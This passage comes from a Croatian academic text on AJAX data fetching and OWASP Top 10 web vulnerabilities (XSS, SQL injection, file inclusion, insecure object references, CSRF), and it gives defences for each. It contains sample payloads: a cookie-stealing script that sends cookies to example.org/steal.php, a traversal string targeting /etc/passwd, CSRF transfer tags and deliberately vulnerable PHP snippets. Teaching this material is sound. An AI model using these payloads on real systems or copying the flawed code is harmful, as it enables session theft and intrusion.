"+g("postanski_broj")+", "+g("drzava")+".<br/>Mozete me dobiti na "+g("prvi")+"
i na "+g("drugi");
//umetanje u DIV polje (id moji_podaci)
document.getElementById("moji_podaci").innerHTML=podaci;
}
else
document.getElementById("izmjena").innerHTML="Kod
greske " + xhr.status;
}
};
//slanje zahtjeva
xhr.open("GET", "xml.php", true);
xhr.send(null);
}
</script>
</head>
<body>
<br/>
<div id="moji_podaci"></div>
</body>
</html>
Nakon uspjenog primanja odgovora, odgovor se u tekstualnom obliku dodaje stranici (DIV
izmjena), a zatim se iz odgovora koritenjem njegove XML strukture dohvaaju vrijednosti
elemenata i umeu u strukturirani zapis koji se ispisuje u DIV identifikatora moji_podaci. Skripta
na posluitelju mora kao odgovor vratiti XML zapis, kako pokazuje ispis 2.7.
13
Ispis 2.7. Prikaz PHP skripte koja generira XML sadraj

<?php
//stvaranje XML stringa
$xml_podaci="
<?xml version=\"1.0\"?>
<ja>
<ime>Ivo</ime>
<prezime>Ivic</prezime>
<adresa>
<ulica>L. Ruzicke 15</ulica>
<grad>Zagreb</grad>
<drzava>Hrvatska</drzava>
<postanski_broj>10000</postanski_broj>
</adresa>
<tel_brojevi>
<prvi>6222222</prvi>
<drugi>0913456789</drugi>
</tel_brojevi>
</ja>";
//postavljanje zaglavlja odgovora kojim se definira da je sadraj odgovora XML
zapis
header('Content-type: text/xml');
//ispis odgovora (uz zamjenu znakova novog reda)
echo str_replace("\n","",str_replace("\t","",$xml_podaci));
?>
Poetna stranica je istog izgleda, a nakon dohvata odgovora i obrade, stranica izgleda kao na slici
2.5.
Slika 2.5. Prikaz prozora preglednika nakon dohvata XML sadraja
U prvom DIV elementu nisu vidljive XML oznake jer ih preglednik ne prikazuje, dok je drugi ispis
ispravno strukturiran prema danom pravilu. Tekst odgovora vidljiv je u konzoli.
14
2.7.3. Dohvat JSON-a i evaluacija

Puno jednostavniji prihvat strukturiranih podataka kao u XML primjeru, mogu je kroz JSON.
HTML stranica u ispisu 2.8 je ponovno vrlo slina, meutim, obrada odgovora je specifina za
JSON podatke.
Ispis 2.8. Prikaz HTML i JavaScript kda za dohvat JSON sadraja
<html>
<head>
<script>
function ajax(){
var xhr;
//stvaranje xhr objekta
catch(e){
}
if(xhr.status == 200) {
//ispis primljenog teksta
//stvaranje varijable ja iz objekta definiranog odgovorom
var ja=eval("(" + xhr.responseText + ")");
//stvaranje teksta s elementima definiranim u objektu (npr. ja.ime ili
//ja.adresa.ulica)
var podaci="Ja sam "+ja.ime+" "+ja.prezime+".<br/>Moja adresa
je "+ja.adresa.ulica+", "+ja.adresa.grad+", "+ja.adresa.postanski_broj+",
"+ja.adresa.drzava+".<br/>Mozete me dobiti na "+ja.tel_brojevi[0]+" i na
"+ja.tel_brojevi[1];
//ispis u DIV element moji_podaci
document.getElementById("moji_podaci").innerHTML=podaci;
}
else document.getElementById("izmjena").innerHTML="Kod greske
" + xhr.status;
}
};
//slanje zahtjeva
xhr.open("GET", "json.php", true);
xhr.send(null);
}
</script>
</head>
<body>
<br/>
<div id="moji_podaci"></div>
</body>
</html>
Nakon uspjenog primanja odgovora, odgovor se u tekstualnom obliku dodaje stranici (DIV
izmjena), a zatim se evaluacijom odgovora stvara novi objekt te dohvaaju vrijednosti elemenata i
umeu u strukturirani zapis koji se ispisuje u DIV moji_podaci. Skripta na posluitelju mora kao
odgovor vratiti JSON zapis, kako pokazuje ispis 2.9.
15
Ispis 2.9. Prikaz PHP skripte koja generira JSON sadraj

<?php
//klasa Adresa koja sadri podatke o adresi
class Adresa{
var $ulica="L. Ruzicke 15";
var $grad="Zagreb";
var $drzava="Hrvatska";
var $postanski_broj="10000";
};
//klasa Osoba koja sadri podatke o osobi
class Osoba{
var $ime="Ivo";
var $prezime="Ivic";
var $adresa=null;
var $tel_brojevi=array ("0"=>"6222222",'1'=>"0913456789");
};
//stvaranje instance osobe
$ja=new Osoba();
//postavljanje adrese osobe
$ja->adresa=new Adresa();
//postavljanje zaglavlja odgovora (JSON)
header('Content-type: application/json');
//ispis objekta u JSON strukturi
echo json_encode($ja);
?>
Poetna stranica je ponovno istog izgleda, a nakon dohvata odgovora i obrade, stranica izgleda kao
na slici 2.6.
Slika 2.6. Prikaz prozora preglednika nakon dohvata JSON sadraja
U prvom DIV elementu je vidljiva primljena JSON struktura, dok je drugi ispis ispravno
strukturiran prema danom pravilu.
16
2.8. Alternativne tehnologije

Razvoj naprednih Web aplikacija bogatog korisnikog suelja, to ukljuuje i asinkrono obnavljanje
sadraja, danas se moe razviti kroz nekoliko slinih tehnologija.
2.8.1. Flash tehnologije

Jedna od alternativnih tehnologija za stvaranje visoko interaktivnih Web aplikacija je Adobe Flash.
Flash player, razvijen i distribuiran od Adobe Systems-a (tvrtka koja je kupila tvrtku Macromedia
2005. godine) je klijentska aplikacija dostupna u veini Web preglednika. Dva trenutno
najznaajnija razvojna okruenja za Web aplikacije temeljene na Flash tehnologiji su Adobe Flex i
OpenLaszlo.
Adobe Flex Cilj Flex-a je omoguiti brz i jednostavan razvoj Web 2.0 aplikacija [48].
Flex aplikacije se kao i AJAX, izvravaju na prezentacijskom sloju. Razvoj grafikog
korisnikog suelja Flex bazira na MXML jeziku koji je XML strukturirani jezik, ali
sadrava i razliite komponente koje omoguuju koritenje Web usluga, udaljenih objekata,
drag&drop, sortirajuih tablica, grafova, ugraenih animacija i drugih interakcija suelja.
Arhitektura Adobe Flex tehnologije, prikazana je na slici 2.7.
Slika 2.7. Arhitektura Adobe Flex tehnologije
Obzirom da se klijentski program uitava samo jednom, radni tok je znatno unaprijeen
obzirom na HTML bazirane aplikacije. Flex je inicijalno stvoren kao J2EE aplikacija koja je
vrila kompajliranje MXML i ActionScript podataka u tijeku izvoenja u Flash aplikacije
(binarne SWF datoteke). Kasnije verzije Flex-a dozvolile su stvaranje statikih datoteka koje
se kompajliraju pri razvoju. Izgled primjera Web aplikacije stvorene Adobe Flex
tehnologijom vidljiv je na slici 2.8.
17
Slika 2.8. Primjer Web aplikacije stvorene Adobe Flex tehnologijom
OpenLaszlo Ovo je platforma otvorenog kda za razvoj Web 2.0 aplikacija [47].
OpenLaszlo platforma se sastoji od LZX programskog jezika i OpenLaszlo posluitelja te
njihovih komponenti kako je prikazano na slici 2.9. LZX je XML i JavaScript kd slian
MXML-u te je dizajniran da bi se pribliio razvijateljima koji koriste HTML i JavaScript.
Slika 2.9. Arhitektura OpenLaszlo tehnologije
OpenLaszlo posluitelj je Java servlet koji vri kompajliranje LZX aplikacija u izvrne
datoteke za pojedina okruenja. OpenLaszlo aplikacije se mogu izvesti kao tradicionalni
Java servleti, koji se se dinamiki kompajliraju i dostavljaju pregledniku, ili se mogu
kompajlirati u SWF Flash datoteke koje se mogu statiki ukljuiti u Web stranicu. Izgled
primjera Web aplikacije stvorene OpenLaszlo tehnologijom vidljiv je na slici 2.10.
Prednosti koje prua ovaj nain razvoja su generalna neovisnost o platformi i pregledniku, brzina i
fleksibilnost, te moni razvojni alati. Meutim, za razvoj su potrebna specifina znanja vezana uz
okruenje koje se koristi.
18
Slika 2.10. Primjer Web aplikacije razvijene u OpenLaszlo tehnologiji
2.8.2. ASP.NET Ajax

ASP.NET Ajax je besplatno razvojno okruenje za AJAX aplikacije koje je razvio Microsoft, a
bazira se na ASP.NET posluiteljskoj tehnologiji [67]. Ono to ASP.NET Ajax nudi jest stvaranje
suelja koritenjem ponovno iskoristivih AJAX komponenti, koritenje AJAX kontrola koje su
razvijene da bi ih podravali svi moderni preglednici, mogunost razvoja koritenjem Visual Studio
razvojnog okruenja, te proirenje ASP.NET 2.0 aplikacija AJAX komponentama. Arhitektura ove
tehnologije je prikazana na slici 2.11.
Slika 2.11. Arhitektura ASP.NET Ajax tehnologije
2.8.3. Java
Razvoj Ajax aplikacija u Java okruenju se u pravilu zasniva na Java Servlet-ima na posluitelju i
JavaScript kdu na klijentu, kao primjerice DWR okruenje na vidljivo na slici 2.12.
19
Slika 2.12. Arhitektura DWR tehnologije
Obino se cjelokupan razvoj vri u Java okruenju, a posebnim kompajlerima se iz postojeeg Java
kda stvara JavaScript i HTML kd koji e se izvravati u pregledniku, dok se ostatak kda izvodi
na posluitelju. Neka od ee koritenih okruenja su DWR, Struts, Spring i Google Web Toolkit
[59].
20
3. Sigurnost Web aplikacija

Jedan od glavnih dijelova Web 2.0 aplikacije jesu AJAX mehanizmi i mnotvo JavaScript kda.
Kroz evoluciju Web-a, dolo je i do stvaranja novih rasa crva i virusa koji se njime ire. Portali kao
Google, NetFlix, Yahoo i MySpace koji obilno koriste AJAX, bili su rtve novih vrsta napada.
AJAX nema svojstvenih sigurnosnih slabosti, meutim, prihvaanje AJAX tehnologije u Web
aplikacijama, bitno mijenja pristup razvoju aplikacije. Serijalizacija podataka i objekata je u
prolosti bila teko izvediva kroz umetanje srednjeg sloja koji je vrio obradu. Danas AJAX moe
koristiti XML, HTML, JavaScript polja, JSON i JavaScript objekte bez pozivanja funkcija srednjeg
sloja, to je dovelo do izmjene bitno razliitih tipova podataka izmeu klijenta i posluitelja.
Informacije koje prua posluitelj se dinamiki umeu u trenutni DOM kontekst klijenta. Kljuni
faktori koji utjeu na ranjivosti AJAX aplikacija su:
Viestruke razbacane krajnje toke i skriveni pozivi Jedna od glavnih razlika izmeu
Web 2.0 i tradicionalnih Web aplikacija je mehanizam pristupa informacijama. Aplikacije
imaju vie krajnjih toaka za pristup AJAX-om u usporedbi s tradicionalnim aplikacijama.
Potencijalni AJAX pozivi su razbacani kroz cijelu Web stranicu te ih je mogue inicirati
pripadajuim dogaajima. Ova rairenost AJAX poziva oteava razvoj, ali takoer uvodi
nemaran nain programiranja obzirom da su pozivi skriveni ili ne tako oiti;
Zbunjujua provjera Jedan od vanih faktora svake Web aplikacije je provjera ulaza i
izlaza. Web 2.0 aplikacije koriste zaobilaenje politike istog izvora, feed i mashup sadraje.
U mnogo sluajeva, pretpostavlja se da je druga strana implementirala provjeru, to dovodi
do zablude u kojoj niti jedna strana ne implementira ispravnu provjeru;
Nepovjerljivi izvori informacija Web 2.0 aplikacije dohvaaju informacije iz razliitih

nepovjerljivih izvora kao to su feed-ovi, blogovi i rezultati pretraivaa. Taj sadraj gotovo
nikada nije provjeren prije nego je posluen pregledniku krajnjeg korisnika, to dovodi do
eksploatacije zaobilaenjem politike istog izvora. Takoer, mogue je u preglednik uitati
JavaScript kd koji zahtjeva od preglednika da izvri pozive putem zaobilaenja politike
istog izvora i time otvori sigurnosne rupe. Takav postupak moe biti idealan za irenje
virusa i crva;
Serijalizacija podataka Preglednici mogu vriti AJAX pozive i serijalizaciju podataka.

Preglednik moe dohvatiti JavaScript polja i objekte, XML zapise, HTML blokove ili JSON
zapise. Ukoliko bilo koji od tih podataka moe biti presretnut i izmijenjen, pregledniku
moe biti podvaljeno izvravanje zloudne skripte. Serijalizacija podataka s nepovjerljivim
informacijama moe biti smrtonosna kombinacija za sigurnost krajnjeg korisnika;
Izgradnja i izvoenje dinamikih skripti AJAX otvara pozadinski kanal i dohvaa

informacije od posluitelja te ih prosljeuje u DOM. Da bi to bilo ostvarivo, jedan od
zahtjeva je mogunost dinamikog izvoenja JavaScript skripti da bi se osvjeilo stanje
DOM stabla ili memorije preglednika. U praksi se to ostvaruje pozivanjem prilagoenih
funkcija ili koritenjem eval() funkcije. Posljedice loe provjere sadraja ili vrenja poziva
prema nesigurnim izvorima podataka mogu varirati od krae podataka o sjednici pa do
izvravanja zloudnog kda na klijentskoj strani.
Web 2.0 aplikacije mogu postati ranjive pojavom gornjih pogreaka, to moe dovesti do
eksploatacije ranjivosti i na posluitelju i na klijentu [10,12].
21
3.1. OWASP Top 10 ranjivosti Web aplikacija i metode zatite

OWASP (engl. Open Web Application Security Project) je organizacija posveena pronalasku i
rjeavanju uzroka nesigurnosti aplikacija.
OWASP Top 10 je dokument znaajan za sigurnost Web aplikacija. OWASP Top 10 predstavlja
konsenzus o tome koji su najkritiniji sigurnosni propusti u Web aplikacijama. lanovi projekta
koji odravaju OWASP Top 10 listu su strunjaci na podruju sigurnosti iz cijelog svijeta, koji su
podijelili svoju strunost s kolegama da bi stvorili ovu listu. irenjem svijesti o propustima koje
ovaj dokument predstavlja, te prihvaanjem preporuka koje su dane u njemu, razvojni timovi mogu
uiniti najkvalitetniji prvi korak prema promjeni kulture razvoja aplikacija da bi se stvarao siguran
kd [17].
WASC (engl. Web Application Security Consortium) je internacionalna grupa strunjaka i
predstavnika zainteresiranih organizacija, koji objavljuju dokumentaciju i upute o najboljim
praksama i sigurnosnim standardima na World Wide Web-u. WASC je izmeu ostaloga, objavio
sigurnosne statistike Web aplikacija koje predstavljaju XSS i uz njega esto vezan CSRF, kao
najee ranjivosti Web aplikacija u 2006. godini. Na slici 3.1 vidljivo je XSS ranjivost najea i
Slika 3.1. Najee ranjivosti Web aplikacija
pojavljuje se u 67,59% sluajeva, te kako prikazuje slika 3.2, vidljivo je da je 85,57% Web
aplikacija ranjivo na XSS napad [43]. Stoga je u nastavku vea panja dana upravo na XSS i CSRF
ranjivosti.
Slika 3.2. Postotak ranjivih Web aplikacija
3.1.1. Izvravanje napadakog kda

Izvravanje napadakog kda (engl. cross site scripting, XSS) je najopasnija i najrairenija ranjivost
koja se pojavljuje u Web aplikacijama. XSS se pojavljuje svaki puta kada aplikacija prihvati
podatke koje je dobila od korisnika i proslijedi ih Web pregledniku bez da izvri provjeru ili
ispravno kdiranje sadraja.
XSS dozvoljava napadau da izvri proizvoljnu skriptu unutar rtvinog preglednika, koja moe
izvriti krau korisnikih podataka, podataka o sjednici, izmijeniti sadraj Web stranice, umetnuti
nepoeljan sadraj, izvriti lano predstavljanje, ili ak preuzeti potpunu kontrolu nad rtvinim
22
preglednikom. Zloudna skripta je najee JavaScript, iako je ranjivost mogue ostvariti bilo kojim
skriptnim jezikom koji Web preglednik rtve podrava.
Postoje tri poznata tipa XSS-a: reflektirani, pohranjeni i DOM ubacivanje. Reflektirani tip je
najlake eksploatirati, a zasniva se na tome da Web stranica reflektira korisniki unos nazad prema
korisniku. Primjer koji dozvoljava ovaj nain eksploatacije u PHP skripti izgleda kao u ispisu 3.1.
Ispis 3.1. Primjer XSS ranjivosti u PHP skripti
echo $_REQUEST['userinput'];
Ovim kdom e PHP skripta u tijelo HTML dokumenta ispisati sadraj koji je dobila od korisnika.
Pohranjeni tip XSS-a se zasniva na tome da se nepoeljan korisniki unos pohrani u datoteku, bazu
podataka ili neki pozadinski sustav te se kasnije bez filtriranja prikae korisnicima. Ovaj tip XSS-a
je vrlo opasan u sustavima kao to su CMS, blogovi i forumi gdje velik broj korisnika vidi unos
drugih korisnika. XSS napad baziran na DOM ubacivanju temelji se na malo drugaijoj praksi.
Umjesto da se, kao u prethodnim tipovima mijenjaju HTML elementi, vri se izmjena JavaScript
kda ili varijabli. Takoer, mogue je da je napadaki kd mjeavina ova tri tipa.
Koritenje JavaScript-a daje mogunost napadau da manipulira svim aspektima stranice koja se
prikazuje. To znai da mu JavaScript omoguuje dodavanje novih elemenata, manipulacija internim
DOM stablom i izmjena izgleda stranice. Takoer, omogueno mu je koritenje XMLHttpRequest
objekta, bez obzira da li stranica koristi AJAX mehanizme.
Da bi se shvatilo zato je prihvat neprovjerenog ulaza opasan, promotrimo jednostavan registracijski
formular u koji korisnik upisuje korisniko ime i adresu elektronike pote te mu se na istu alju
podaci o registraciji nakon stvaranja korisnikog rauna. U primjeru se moe koristiti formular kao
u ispisu 3.2.
Ispis 3.2. Primjer formulara kod XSS napada
<form action="/registriraj.php" method="POST">
<p>Korisniko ime: <input type="text" name="username" /></p>
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" value="Registriraj me" /></p>
</form>
Slika 3.3 prikazuje kako bi formular izgledao u pregledniku.
Slika 3.3. Izgled formulara u pregledniku
23
Ukoliko podaci koji se poalju nisu ispravno provjereni, zlonamjerni korisnik moe poslati
zloudne podatke stranici registriraj.php. Promotrimo kako izgleda pripadna skripta u kojoj se
podaci o registraciji spremaju u bazu podataka u ispisu 3.3.
Ispis 3.3. Primjer PHP skripte za pohranu podataka o registraciji u bazu podataka
<?php
$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
$sql = "INSERT
INTO
users (username, email)
VALUES ('{$mysql['username']}', '{$mysql['email']}')";
?>
Usprkos tome to su $_POST['username'] i $_POST['email'] dobro zatieni sa stanovita MySQL

baze podataka pa SQL umetanje nije mogue, ovo je oit primjer slijepog vjerovanja korisnikom
unosu. Pretpostavimo da napada kao korisniko ime unese izraz u ispisu 3.4.
Ispis 3.4. XSS napad unosom izraza u polje korisnikog imena
<script>alert('XSS');</script>
Iako je odmah jasno da ovo nije stvarno korisniko ime, oito je proputena provjera unosa te e
ovaj zloudni kd zavriti u zapisu baze podataka. Naravno, opasnost koja slijedi iz XSS napada se
oituje u trenutku kad se ovaj zapis prikazuje korisnicima. Pretpostavimo da sustav registracije ima
administrativno suelje koje je dostupno iskljuivo autoriziranim korisnicima. Sada pretpostavimo
da se narednim PHP kdom autoriziranom administratoru prikazuje lista registriranih korisnika, kao
to je prikazano u ispisu 3.5.
Ispis 3.5. PHP skripta za prikaz registriranih korisnika ranjiva na XSS napad
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<?php
if ($_SESSION['admin']) {
$sql = 'SELECT username, email
FROM
users';
$result = mysql_query($sql);
while ($record = mysql_fetch_assoc($result)) {
echo "
<tr>\n";
echo "
<td>{$record['username']}</td>\n";
echo "
<td>{$record['email']}</td>\n";
echo "
</tr>\n";
}
}
?>
</table>
Ukoliko su podaci u bazi zamijenjeni zloudnim kdom, administrator e biti rtva XSS napada.
Napad je prikazan na slici 3.4.
Rizik je jo jasniji ukoliko se kao korisniko ime umetne kd kao u ispisu 3.6.
24
Slika 3.4. Prikaz izvoenja XSS napada

Ispis 3.6. XSS napad uz krau kolaia sjednice
<script>
new Image().src =
'http://example.org/steal.php?cookies=' +
encodeURI(document.cookie);
</script>
Ukoliko se ovaj kd izvede u pregledniku administratora, njegovi podaci o sjednici e biti poslani
na example.org gdje e ih steal.php skripta dohvatiti pomou $_GET['cookies']. Kad su podaci o
sjednici prihvaeni, oni mogu biti iskoriteni za krau administratorskog rauna [29].
Najbolji koncept zatite od XSS-a je kombinacija whitelist provjere (provjere po listi valjanih
unosa) svih ulaza i odgovarajue kdiranje izlaznih podataka. Provjera omoguava detekciju
napada, dok izlazno kdiranje zaustavlja izvoenje eventualno uspjeno ubaenog kda.
Sprjeavanje XSS-a kroz cijelu aplikaciju zahtjeva konzistentan pristup kroz cijelu arhitekturu
aplikacije, to ukljuuje:
provjeru ulaza potrebno je koristiti standardne mehanizme provjere svih ulaznih podataka
prema oekivanoj duljini, tipu, sintaksi i poslovnom procesu prije nego ih se pohrani ili
prikae korisniku. Preporueno je prihvaati ono to znamo da je valjano te odbiti nevaljale
unose radije nego da ih se pokuava pretvoriti u valjane;
paljivo izlazno kdiranje potrebno je osigurati da su svi podaci koje je dao korisnik
HTML kdirani prije nego se prikau u pregledniku i to na nain da se sav sadraj HTML
kdira, osim eventualno ogranienog podskupa;
ne koristiti blacklist provjeru (provjera po listi nevaljanih unosa) da bi se detektirao XSS na

ulazima ili pri kdiranju izlaza. Traenje i zamjena samo nekoliko znakova (< i > i
slino) je loe rjeenje i jednostavno se zaobilazi;
PHP Izlazne podatke je potrebno provesti kroz funkcije htmlentities() ili

htmlspecialchars(). Obzirom da neki znakovi imaju posebno znaenje u HTML zapisu,
potrebno ih je prezentirati kao HTML entitete da bi zadrali svoje znaenje, a upravo to vre
gore navedene funkcije.
25
3.1.2. Propusti ubacivanja

Propusti ubacivanja (engl. injection flaws), prije svega SQL ubacivanje, su uobiajeni propusti u
Web aplikacijama. Ubacivanje se dogaa kada se podaci dani od korisnika prihvaaju kao dio
naredbe ili upita. Napadaevi ulazi prevare interpreter tako da izvri nenamjeravanu naredbu.
Propusti ubacivanja otvaraju napadaima mogunost da stvore, itaju, izmjene ili obriu bilo koje
podatke koji su dostupni aplikaciji. U najgorem sluaju, to moe znaiti i mogunost preuzimanja
kontrole nad cijelom aplikacijom. Ukoliko je korisniki unos predan interpreteru bez prethodne
provjere i kdiranja, aplikacija je ranjiva, kao u ispisu 3.7, pri stvaranju dinamikog upita.
Ispis 3.7. Primjer dinamikog upita bazi podataka ranjivog na SQL umetanje
$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST['id] . "";
Da bi se aplikaciju zatitilo od propusta ubacivanja, potrebno je izbjegavati interpretere gdje god je

mogue. Ukoliko je nuno koristiti interpreter, osnovna metoda za izbjegavanje ranjivosti je
koritenje sigurnih API-ja, kao to su ORM biblioteke i paljivo tipizirani i parametrizirani upiti.
Ova suelja vre izbacivanje nepoeljnih znakova. Koritenje interpretera je opasno, stoga je
potrebno obratiti panju i na sljedee dodatne mogunosti zatite:
provoditi pristup s najmanjom privilegijom kod pristupa bazama podataka ili drugim
pozadinskim sustavima;
izbjegavati detaljne poruke o greci koje bi mogle biti korisne napadaima;
ne slati dinamike zahtjeve stvorene od strane korisnika na parametrizirana suelja za

pristup bazi podataka;
oprezno koristiti SQL pohranjene procedure jer one mogu biti izmijenjene od napadaa;
ne koristiti suelja za dinamike upite ukoliko nije provjeren nivo zatite koji suelje koristi;
ne koristiti jednostavne funkcije izbjegavanja nepoeljnih znakova kao PHP funkcija

addslashes() ili funkcije zamjene znakova kao str_replace("", ""). Ove funkcije
su slabe te ih je lako eksploatirati;
PHP preporua se koritenje PDO-a (engl. PHP Data Objects), PHP dodatka sa sueljima
za pristup bazama podataka koji ima paljivo tipizirane i parametrizirane upite
(bindParam()).
3.1.3. Izvoenje zlonamjernih datoteka

Ranjivost izvoenja zlonamjernih datoteka (engl. malicious file execution vulnerabilities) moe se
pronai u velikom broju aplikacija. Razvijatelji obino direktno koriste ili spajaju potencijalno
zlonamjeran ulaz s funkcijama za pristup datotekama ili tokovima, ili iskazuju neprikladno
povjerenje ulaznim datotekama. Na mnogim platformama, radna okruenja doputaju koritenje
referenci na vanjske objekte, kao to su URL-ovi ili datoteke operacijskog sustava. Ukoliko je ulaz
nedovoljno provjeren, moe doi do obrade ili obuhvaanja udaljenog i zlonamjernog sadraja. To
napadau omoguava:
izvoenje udaljenog kda, te
instalaciju rootkit-a (zlonamjernog programa koji izbjegava detekciju tako da nadomjeuje

sustavske procese i podatke, odnosno datoteke operacijskog sustava) i ugroavanje cijelog
sustava.
Ovaj napad je posebice rairen u PHP okruenju te je potrebno posebno paljivo kontrolirati
korisnike ulaze vezane uz imena datoteka.
Ranjiva linija je esto slina liniji kda u ispisu 3.8.
26
Ispis 3.8. Primjer PHP kda ranjivog na izvoenje zlonamjernih datoteka

include $_REQUEST['filename];
Ne samo da dozvoljava evaluaciju udaljenih zlonamjernih skripti, ve na Windows posluiteljima

moe biti koritena i za pristup lokalnim datotenim posluiteljima. Ovaj tip napada izmeu
ostaloga omoguuje i postavljanje zloudnih podataka u datoteke sjednice ili datoteke kontrolnih
zapisa.
Zatita od izvoenja zlonamjernih datoteka zahtjeva ozbiljno planiranje u fazama arhitekture i
dizajna, pa sve do temeljitog testiranja. Generalno, dobro programirana aplikacija nee koristiti
korisniki unos za pristup bilo kojoj datoteci ili sistemskom resursu. Meutim, uvijek postoje
aplikacije gdje korisniki unos potreban za definiranje eljene datoteke. U tom sluaju, potrebno je
drati se sljedeih pravila:
koristiti shemu imenovanja kod provjere datoteka, slinoj shemi prikazanoj u ispisu 3.9
Ispis 3.9. Primjer sheme imenovanja za zatitu od zlonamjernog izvoenja datoteka
$zlocudna = &$_POST; // odnositi se na POST varijable, ne $_REQUEST

$sigurna[datoteka]= provjeri_ime_datoteke($zlocudna[nesigurna_datoteka]);
// napravi ime sigurnim
require_once($safe[filename] . inc.php);
// umjesto require_once($_POST[unsafe_filename] . inc.php);
paljiva provjera korisnikog unosa;
skrivanje stvarnih imena datoteka na posluitelju od korisnika. Na primjer, umjesto primjera

u ispisu 3.10, preporua se koristiti polje s moguim vrijednostima na sljedei nain, kao u
ispisu 3.11
Ispis 3.10. Pogrean nain skrivanja stvarnih imena datoteka na posluitelju
include $language . ".lang.php";

Ispis 3.11. Ispravan nain skrivanja stvarnih imena datoteka na posluitelju
<select name="language"><option value="1">Franais</option></select>
$language = intval($_POST['language]);
if ($language > 0) {
require_once($lang[$language]); // lang je polje stringova "fr.lang.php"
}
onemoguiti allow_url_fopen i allow_url_include funkcije PHP-a;
sigurnosnoj stijeni dodati pravilo zabrane stvaranja novih veza od strane Web posluitelja
prema drugim vanjskim Web posluiteljima;
osigurati da funkcije pristupa datotekama ili tokovima kao argumente ne dobivaju izravno
korisniki unos;
posebno oprezno provjeravati ulaze koji se alju funkcijama izvoenja na sustavu, kao to su
system(), eval(), passthru() i operator jednostruke kvaice (`);
ukoliko je mogue, implementirati mehanizam pjeanika (engl. sandbox) ili koristiti

virtualizaciju da bi se aplikacija uspjeno izolirala.
3.1.4. Nesigurna izravna referenca na objekt

Nesigurna izravna referenca na objekt (engl. insecure direct object reference) je ranjivost koja se
javlja ukoliko programer izloi referencu na objekt interne implementacije, kao to su datoteke,
27
direktoriji, zapisi baze podataka, kljuevi, URL ili parametar formulara. Ukoliko ne postoji provjera
pristupa, napada moe referencom manipulirati da bi pristupio drugim objektima bez autorizacije.
Mnoge aplikacije izlau prema korisnicima reference na interne objekte. Napadai koriste izmjenu
parametara u svrhu zamjene referenci i krenja namjeravane, ali nesprovedene pristupne politike.
esto se te reference odnose na datoteke sustava ili baze podataka te je stoga aplikacija ranjiva.
Ukoliko kd dozvoljava korisniku da unosom specificira imena datoteka ili putove do datoteka, kao
u ispisu 3.12, mogue je da to napadau otvara mogunost izlaska iz direktorija aplikacije i pristup
drugim resursima.
Ispis 3.12. Primjer dozvole specifikacije datoteke korisniku
<select name="language"><option value="fr">Franais</option></select>
require_once ($_REQUEST['language]."lang.php");
Gornji kd bi bilo mogue napasti koritenjem unosa ../../../../etc/passwd%00 u kojem je

vidljivo ubacivanje NULL bajta (engl. null byte injection) za pristup bilo kojoj datoteci na sustavu
Web posluitelja. Slino tome, reference na kljueve u bazi podataka su esto izloene. Napada
moe ove parametre napasti jednostavno pogaanjem ili traenjem ispravnih kljueva, koji su
prirodno logini. U primjeru u ispisu 3.13, ak i ako aplikacija ne izlae kljueve baze i SQL
ubacivanje nije mogue, napada moe izvriti izmjenu parametara.
Ispis 3.13. Primjer mogunosti izmjene parametara bez izlaganja korisniku
int cartID = Integer.parseInt( request.getParameter( "cartID" ) );
String query = "SELECT * FROM table WHERE cartID=" + cartID;
Najbolja zatita za izbjegavanje izlaganja izravnih referenci na objekt je koritenje popisa, mape ili
druge indirektne metode koju je lako provjeriti. Ukoliko je nuno koristiti izravnu referencu,
potrebno je osigurati da ju je korisnik autoriziran koristiti. Ostvarivanje standardnog naina
referenciranja na objekte aplikacije je vrlo bitno za:
izbjegavanje izlaganja referenci na privatne objekte;
provjeru referenci na privatne objekte uz pristup prihvaanja poznato dobrih izraza;
verifikacija autorizacije za sve referencirane objekte.
Ukoliko je nuno izloiti referencu na sistemsku datoteku, nuno je koristiti indekse popisa ili mape
da bi se zaobila mogunost manipulacije putova i imena datoteka, kao u ispisu 3.14.
Ispis 3.14. Primjer ispravnog koritenja indeksa popisa
http://www.example.com/application?file=1
Ukoliko je nuno izloiti reference na strukture u bazi podataka, potrebno je osigurati da SQL upiti i
drugi pristupi bazi podataka dozvoljavaju prikaz samo autoriziranih zapisa kao u ispisu 3.15.
Ispis 3.15. Primjer provjere autorizacije pri SQL upitu
int cartID = Integer.parseInt( request.getParameter( "cartID" ) );
User user = (User)request.getSession().getAttribute( "user" );
String query = "SELECT * FROM table WHERE cartID=" + cartID + " AND userID=" +
user.getID();
3.1.5. Krivotvorenje zahtjeva

Krivotvorenje zahtjeva (engl. cross site request forgery, CSRF) nije novi napad, ali je jednostavan i
razaraju. CSRF napadom se preglednik prijavljene rtve prisiljava na slanje zahtjeva ranjivoj Web
aplikaciji, koja zatim izvodi odabranu akciju u rtvino ime, a na korist napadaa. Ova ranjivost je
iznimno rairena, obzirom da je svaka aplikacija koja autorizira zahtjev iskljuivo prema automatski
28
danim korisnikim podacima od strane Web preglednika ranjiva. Naalost, danas se velik broj
aplikacija pouzda iskljuivo na automatski poslane korisnike podatke kao to su kolaii sjednice,
podaci bazne autentifikacije, izvorine IP adrese, SSL certifikati, podaci Windows domene i slino.
Ova ranjivost je poznata i pod drugim nazivima, ovisno o tome to napada pokuava uiniti i na
koji nain, npr. kontrola sjednice (engl. Session Riding), napad jednog klika (engl. One-Click
Attacks), krivotvorenje reference (engl. Cross site reference forgery), neprijateljsko povezivanje
(engl. hostile linking) i automatizacija napada (engl. automation attack). Kratica XSRF je takoer
esto koritena.
Tipian CSRF napad na stranice Web foruma moe imati oblik usmjeravanja korisnika na pozivanje
neke funkcije, kao to je odjava sa stranice. Ispis 3.16 prikazuje oznaku u Web stranici koju gleda
korisnik, a koja e generirati zahtjev za odjavu.
Ispis 3.16. Primjer jednostavnog CSRF napadakog kda
<img src="http://www.example.com/logout.php">
Ukoliko bi aplikacija internet bankarstva mogla procesirati zahtjeve kao to je prijenos novca, napad
slian ispisu 3.17 bi mogao biti dozvoljen.
Ispis 3.17. CSRF napad na prijenos novca aplikacije internet bankarstva
<img
src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct&toAcct=43
45754&toSWIFTid=434343&amt=3434.43">
Oba navedena napada su izvediva jer se korisniki autentifikacijski podaci (tipino kolai sjednice)
automatski ukljuuju u zahtjev koji odailje preglednik. Ukoliko oznaka koja sadri napad moe biti
